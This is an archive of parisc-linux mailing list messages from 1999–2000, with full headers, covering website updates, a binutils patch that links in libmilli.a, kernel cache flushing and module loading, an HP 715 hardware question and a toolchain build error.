Message-ID: <87u2avmioo.fsf@ottawa.linuxcare.com>
References: <20000930200218.A25304@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619154 4168 80.91.229.3 (22 Nov 2014 01:19:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: dhd@linuxcare.com  Mon Oct  2 08:16:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA30565
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Oct 2000 08:16:30 -0600
Original-Received: (qmail 9821 invoked by uid 15267); 2 Oct 2000 14:17:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9811 invoked from network); 2 Oct 2000 14:17:25 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 2 Oct 2000 14:17:25 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13g6P1-0004Mo-00; Mon, 02 Oct 2000 10:17:11 -0400
In-Reply-To: Matthew Wilcox's message of "Sat, 30 Sep 2000 20:02:18 +0100"
Original-Lines: 15
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8030

Matthew Wilcox <matthew@wil.cx> writes:

> Is there anything which can be done to make updating the website easier?

I keep losing the password, that's the only problem.

I'd really prefer to have the website be updated from a cron job.

Obviously it would be better for it to be hosted on PEHC in this case,
since otherwise we'd have to store the password in the clear on
PEHC or whatever machine runs that job.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I am not your mother!
Date: Mon, 2 Oct 2000 15:26:21 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20001002152621.A9761@parcelfarce.linux.theplanet.co.uk>
References: <20000930200218.A25304@parcelfarce.linux.theplanet.co.uk> <87u2avmioo.fsf@ottawa.linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619154 4171 80.91.229.3 (22 Nov 2014 01:19:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:14 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Mon Oct  2 08:25:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA31218
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Oct 2000 08:25:37 -0600
Original-Received: (qmail 22209 invoked by uid 15267); 2 Oct 2000 14:26:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22194 invoked from network); 2 Oct 2000 14:26:32 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 2 Oct 2000 14:26:32 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13g6Xt-0004NO-00; Mon, 02 Oct 2000 15:26:21 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <87u2avmioo.fsf@ottawa.linuxcare.com>; from dhd@linuxcare.com on Mon, Oct 02, 2000 at 10:17:11AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8031

On Mon, Oct 02, 2000 at 10:17:11AM -0400, David Huggins-Daines wrote:
> Matthew Wilcox <matthew@wil.cx> writes:
> 
> > Is there anything which can be done to make updating the website easier?
> 
> I keep losing the password, that's the only problem.

It's tunnelled over ssh.  You can put your identity.pub in the appropriate
machine's authorized_keys file.  Hm, I should probably take mine out :-)
It's currently up to date.

> I'd really prefer to have the website be updated from a cron job.

Doable.  I'd prefer this as well -- or even better from a trigger which
runs as soon as there's a cvs commit to the website directory.

> Obviously it would be better for it to be hosted on PEHC in this case,
> since otherwise we'd have to store the password in the clear on
> PEHC or whatever machine runs that job.

I think the plan is to move it to pehc once pehc's been upgraded.
Matt?  Any idea on when this'll happen?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] libmilli.a
Date: Tue, 3 Oct 2000 02:05:14 +1100 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010030154470.20499-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619155 4172 80.91.229.3 (22 Nov 2014 01:19:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Mon Oct  2 09:04:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA00364
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Oct 2000 09:04:31 -0600
Original-Received: (qmail 8836 invoked by uid 15267); 2 Oct 2000 15:05:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8795 invoked from network); 2 Oct 2000 15:05:25 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 2 Oct 2000 15:05:25 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id CAA02741;
	Tue, 3 Oct 2000 02:05:14 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8032

Here's how to make ld always link in a special library, even when
someone is messing around with linker scripts and so forth.  I've been
playing with this today, and after fixing some gcc and linker c++ probs
now can pass all the binutils testsuite (some of which used to fail due to
not finding $$dynamic)

For my testing, I just moved $$dynamic from libgcc.a into libmilli.a, but
we should move more functions I guess.

Comments?

Index: ld/emultempl/hppaelf.em
===================================================================
RCS file: /home/cvs/parisc/binutils/ld/emultempl/hppaelf.em,v
retrieving revision 1.10
diff -u -p -r1.10 hppaelf.em
--- hppaelf.em	2000/09/27 09:13:09	1.10
+++ hppaelf.em	2000/10/02 05:33:54
@@ -71,6 +71,16 @@ hppaelf_create_output_section_statements
   ldlang_add_file (stub_file);
 }
 
+/* Adds millicode library to the list of input files.  */
+
+static void
+hppaelf_after_parse ()
+{
+  lang_add_input_file ("milli",
+		       lang_input_file_is_l_enum,
+		       NULL);
+}
+
 /* Walk all the lang statements splicing out any padding statements from
    the list.  */
 
@@ -401,3 +411,4 @@ PARSE_AND_LIST_ARGS_CASES='
 #
 LDEMUL_FINISH=hppaelf_finish
 LDEMUL_CREATE_OUTPUT_SECTION_STATEMENTS=hppaelf_create_output_section_statements
+LDEMUL_AFTER_PARSE=hppaelf_after_parse


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. \(HP-FtCollins,ex1\)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] I am not your mother!
Date: Mon, 2 Oct 2000 19:17:55 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C208EDD8A8@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619155 4176 80.91.229.3 (22 Nov 2014 01:19:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: alan_meyer@hp.com  Mon Oct  2 19:26:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA06175
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Oct 2000 19:26:19 -0600
Original-Received: (qmail 16753 invoked by uid 15267); 3 Oct 2000 01:27:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16745 invoked from network); 3 Oct 2000 01:27:14 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 01:27:14 -0000
Original-Received: from amrelay1.boi.hp.com (amrelay1.boi.hp.com [15.56.8.24])
	by palrel3.hp.com (Postfix) with ESMTP
	id 6A3A5699; Mon,  2 Oct 2000 18:27:13 -0700 (PDT)
Original-Received: from xboibrg1.boi.hp.com (xboibrg1.boi.hp.com [15.56.8.167])
	by amrelay1.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id TAA12719;
	Mon, 2 Oct 2000 19:27:09 -0600 (MDT)
Original-Received: by xboibrg1.boi.hp.com with Internet Mail Service (5.5.2650.21)
	id <4DX9CVLC>; Mon, 2 Oct 2000 19:27:09 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8033

FYI, there have been some discussions between LC and HP about various
improvements to the web site.  If you are planning any significant changes
to the web site, it would be good to make sure  Jane is aware ... LC was
going to take the next step on proposing how we move ahead with some
suggested improvements.

Ala

>-----Original Message-----
>From: Matthew Wilcox [mailto:matthew@wil.cx]
>Sent: Monday, October 02, 2000 8:26 AM
>To: David Huggins-Daines
>Cc: Matthew Wilcox; parisc-linux@thepuffingroup.com
>Subject: Re: [parisc-linux] I am not your mother!
>
>
>On Mon, Oct 02, 2000 at 10:17:11AM -0400, David Huggins-Daines wrote:
>> Matthew Wilcox <matthew@wil.cx> writes:
>> 
>> > Is there anything which can be done to make updating the 
>website easier?
>> 
>> I keep losing the password, that's the only problem.
>
>It's tunnelled over ssh.  You can put your identity.pub in the 
>appropriate
>machine's authorized_keys file.  Hm, I should probably take 
>mine out :-)
>It's currently up to date.
>
>> I'd really prefer to have the website be updated from a cron job.
>
>Doable.  I'd prefer this as well -- or even better from a trigger which
>runs as soon as there's a cvs commit to the website directory.
>
>> Obviously it would be better for it to be hosted on PEHC in 
>this case,
>> since otherwise we'd have to store the password in the clear on
>> PEHC or whatever machine runs that job.
>
>I think the plan is to move it to pehc once pehc's been upgraded.
>Matt?  Any idea on when this'll happen?
>
>-- 
>Revolutions do not require corporate support.
>
>---------------------------------------------------------------
>------------
>To unsubscribe: send e-mail to 
>parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.
>


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard "J." Rauenzahn <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] archives anywhere?
Date: Wed, 31 Mar 1999 10:29:43 -0800 (PST)
Lines: 29
Approved: news@gmane.org
Message-ID: <199903311829.KAA11611@hairball.cup.hp.com>
References: <199903310652.MAA07836@postbox.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619155 4186 80.91.229.3 (22 Nov 2014 01:19:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:15 +0000 (UTC)
Cc: hppa-linux@puffingroup.com
To: koshy@postbox.india.hp.com
Original-X-From: rrauenza@cup.hp.com  Wed Mar 31 17:04:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA09344
	for <parisc-linux@sod.res.cmu.edu>; Wed, 31 Mar 1999 17:04:39 -0500
Original-Received: (qmail 22556 invoked by uid 15267); 31 Mar 1999 22:03:03 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 22539 invoked from network); 31 Mar 1999 22:03:01 -0000
Original-Received: from burrow.puffingroup.com (root@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 31 Mar 1999 22:03:01 -0000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by burrow.puffingroup.com (8.8.7/8.8.7) with ESMTP id SAA03166
	for <hppa-linux@puffingroup.com>; Wed, 31 Mar 1999 18:17:51 -0500
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by cosrel1.hp.com (8.9.3/8.8.5tis) with ESMTP id RAA09444
	for <hppa-linux@puffingroup.com>; Wed, 31 Mar 1999 17:04:10 -0500 (EST)
Original-Received: (from rrauenza@localhost) by hairball.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA11611; Wed, 31 Mar 1999 10:29:43 -0800 (PST)
In-Reply-To: <199903310652.MAA07836@postbox.india.hp.com> from A Joseph Koshy at Mar "31," 1999 "12:22:32" pm
X-Mailer: ELM [$Revision: 1.16.213.5 $]
Xref: news.gmane.org gmane.linux.ports.parisc:8034



Send a message with 'help' as the subject to
parisc-linux-request@thepuffingroup.com (also send a message with
'archive help' as the subject.)

Also, note the X-Mailing-List header below which shows the directory
name, which will be relevant after you read what listserv sends back to
you.

Rich

> From parisc-linux-request@thepuffingroup.com  Tue Mar 30 23:34:38 1999
> Delivered-To: rrauenza@cup.hp.com
> Resent-Date: Wed, 31 Mar 1999 01:50:11 -0500
> X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to parisc-linux-request@thepuffingroup.com using -f
> Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
> Date: Wed, 31 Mar 1999 12:22:32 +0530 (IST)
> From: A Joseph Koshy <koshy@postbox.india.hp.com>
> Message-Id: <199903310652.MAA07836@postbox.india.hp.com>
> To: hppa-linux@puffingroup.com
> Subject: [parisc-linux] archives anywhere?
> Resent-Message-ID: <"wi03K.0.We7.ZMS0t"@sod.res.cmu.edu>
> Resent-From: parisc-linux@thepuffingroup.com
> X-Mailing-List: <parisc-linux@thepuffingroup.com> archive/latest/272
> X-Loop: parisc-linux@thepuffingroup.com
> Precedence: list
> Resent-Sender: parisc-linux-request@thepuffingroup.com


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] flush_icache_range problem
Date: Tue, 3 Oct 2000 04:44:05 -0600 (MDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <200010031044.EAA22895@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619156 4192 80.91.229.3 (22 Nov 2014 01:19:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Tue Oct  3 04:43:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA20951
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 04:43:14 -0600
Original-Received: (qmail 29849 invoked by uid 15267); 3 Oct 2000 10:44:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29842 invoked from network); 3 Oct 2000 10:44:06 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 10:44:06 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel2.hp.com (Postfix) with ESMTP id ABE6D3CD
	for <parisc-linux@thepuffingroup.com>; Tue,  3 Oct 2000 04:43:48 -0600 (MDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id EAA22895 for parisc-linux@thepuffingroup.com; Tue, 3 Oct 2000 04:44:05 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8035

Richard Hirst wrote:
> Added a flush of the data cache after copying a module from userland to
> kernel land.  I guess that without this the module code is still in the
> data cache and hasn't been flushed through to memory.  Maybe copy_from_user()
> should flush caches really (as it used to do).

No, copy_from_user should not be doing any cache flushing. EVERY other
call, except for this case, does not need, and would suffer from,
flushing the cache.

The problem here is that data is being brought in from user land to
be executed in the kernel. Since PARISC has separate I&D caches, the
data has to be pushed out from the data cache, and the instruction
cache has to be invalidated so that the instructions will be read
into the I cache.

sys_init_module() calls flush_icache_range() to solve this problem.  The
problem is that the current implementation is only flushing the icache,
where it should be flushing the dcache first (As does other
implementations on other architectures where it is necessary) .  Of
course, other parisc cache routines are using flush_icache_range assuming
it is only flushing the icache. This could be easily hacked, but I am
reluctant to spend any time applying more bandaids.

So, adding the dcache flush is an acceptable workaround for now, and if I
forget to remove it when I fix the cache management code, we will catch it
when we prepare for the upstream merge.

I am well aware that system performance sucks, due to the cache management
code flushing everything all the time, and I intend to fix it.  But,
stability is more important to me than performance right now.  I will work
on proper cache management once I stop finding easily reproducible system
crashes (e.g. simply doing a large cpio from nfs root to a scsi disk on an
A180 HPMC's the machine every time).  I didn't realize that
flush_icache_range was broken, since I thought that everything had been
reverted back to flushing everything and missed the difference.  This
looks like the only case where it matters though, since the other callers
of flush_icache_range are there for aout support.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sys_delete_module() entered with ints disabled
Date: Tue, 3 Oct 2000 12:16:05 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20001003121605.A17291@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619156 4193 80.91.229.3 (22 Nov 2014 01:19:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Tue Oct  3 05:17:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA21659
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 05:17:05 -0600
Original-Received: (qmail 23744 invoked by uid 15267); 3 Oct 2000 11:18:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23707 invoked from network); 3 Oct 2000 11:17:59 -0000
Original-Received: from user48-134.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.48.134)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 11:17:59 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9A800B005; Tue,  3 Oct 2000 12:16:05 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8036

Hi,
  sys_delete_module() (and presumably other system calls) is entered
with interrupts disabled (sm=0x000a), which causes problems trying to
unload kernel module sym53c8xx.o as it waits for a timer tick.
I had a quick look at syscall.S, but didn't see anything wrong
there.  Anyone know where/why they get disabled?

Richard


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel modules working for 32 bit kernels
Date: Tue, 3 Oct 2000 12:55:45 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20001003125545.B17291@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619156 4198 80.91.229.3 (22 Nov 2014 01:19:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Tue Oct  3 05:56:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA22608
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 05:56:37 -0600
Original-Received: (qmail 22587 invoked by uid 15267); 3 Oct 2000 11:57:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22580 invoked from network); 3 Oct 2000 11:57:33 -0000
Original-Received: from user48-134.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.48.134)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 11:57:33 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 232E3B005; Tue,  3 Oct 2000 12:55:45 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8037

Hi,
  Loading/unloading of kernel modules now works for 32 bit kernels.
You need to build modutils from cvs.  I've tested it by loading
core scsi support, scsi disk support, sym53c8xx driver, and ext2 file
system support, and then accessing a file system off the 53c875 on
my A180.

Trying to unload the sym53c8xx module causes a kernel crash as
a result of interupts being disabled on entry to the syscall and the
module not cancelling its timer.

Richard


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA-RISC linux cd
Date: Tue, 03 Oct 2000 08:59:49 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <E13gTaF-00046K-00@noam.fc.hp.com>
References: <39D9AF05.8AE13D4B@fesa.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619156 4201 80.91.229.3 (22 Nov 2014 01:19:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Halliday <matthewh@fesa.co.uk>
Original-X-From: bame@noam.fc.hp.com  Tue Oct  3 09:01:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA24609
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 09:01:25 -0600
Original-Received: (qmail 1956 invoked by uid 15267); 3 Oct 2000 15:02:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1943 invoked from network); 3 Oct 2000 15:02:21 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 15:02:21 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel2.hp.com (Postfix) with ESMTP
	id D3A816E6; Tue,  3 Oct 2000 09:02:02 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id JAA21755;
	Tue, 3 Oct 2000 09:02:19 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13gTaF-00046K-00; Tue, 03 Oct 2000 09:02:19 -0600
In-Reply-To: Your message of "Tue, 03 Oct 2000 11:03:49 BST."
             <39D9AF05.8AE13D4B@fesa.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8038


Matthew - I can never remember which 715's are supported so I'm passing
your note to the mailing list.

= I've aquired a 715/33 - minus monitor or keyboard (but I do have a
= mouse!) - do you know if there anywhere I can get details of these
= machines or a keyboard and monitor?  I do have an A1097C 19" monitor
= minus a cable - will that do?  We use a lot of HP kit here, but the HP
= website doesn't seen to have anything on these machines.  I understand I
= can get onto them with a serial cable - how do I set that up?  I'm
= pretty sure it works ok (I found it in a rubbish skip!) cos when I start
= it up I get no error beeps, and it all sounds normal.  Sorry to ramble
= on - if you can't help then that's ok.

	-P


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Errors building toolchain
Date: Tue, 03 Oct 2000 11:38:06 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <200010031838.LAA21115@milano.cup.hp.com>
References: <00e101c045a0$274fd0c0$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619157 4203 80.91.229.3 (22 Nov 2014 01:19:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: grundler@cup.hp.com  Tue Oct  3 12:33:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA26565
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 12:33:03 -0600
Original-Received: (qmail 29643 invoked by uid 15267); 3 Oct 2000 18:34:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29629 invoked from network); 3 Oct 2000 18:33:59 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 18:33:59 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 6F196269; Tue,  3 Oct 2000 11:33:58 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA21115;
	Tue, 3 Oct 2000 11:38:07 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 03 Nov 2000 15:12:51 PST."
             <00e101c045a0$274fd0c0$a832d793@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:8039

"Thomas Marteau" wrote:
> Hi,
> 
> We are compiling the toolchain and we notice some mistakes we want to share
> just in case.

Hi Thomas,
Which host are you using to build the tools chain on/for?
What's the URL for the instructions you are referring too?
(I want to make sure we are talking about the same page)


I have updated the build-tools/recipe.linux to build a hppa-linux
cross compiler. And my builds now die with:
...
/linux/pa32/xc-build/build-gcc/gcc/xgcc -B/linux/pa32/xc-build/build-gcc/gcc/ -B/opt/puffin/hppa-linux/bin/ -B/opt/puffin/hppa-linux/lib/ -isystem /opt/puffin/hppa-linux/include -shared  .libs/adler32.o .libs/compress.o .libs/crc32.o .libs/deflate.o .libs/gzio.o .libs/infblock.o .libs/infcodes.o .libs/inffast.o .libs/inflate.o .libs/inftrees.o .libs/infutil.o .libs/trees.o .libs/uncompr.o .libs/zutil.o   -Wl,-soname -Wl,libzgcj.so.0 -o .libs/libzgcj.so.0.0.0
/opt/puffin/hppa-linux/bin/ld: cannot open crti.o: No such file or directory
collect2: ld returned 1 exit status
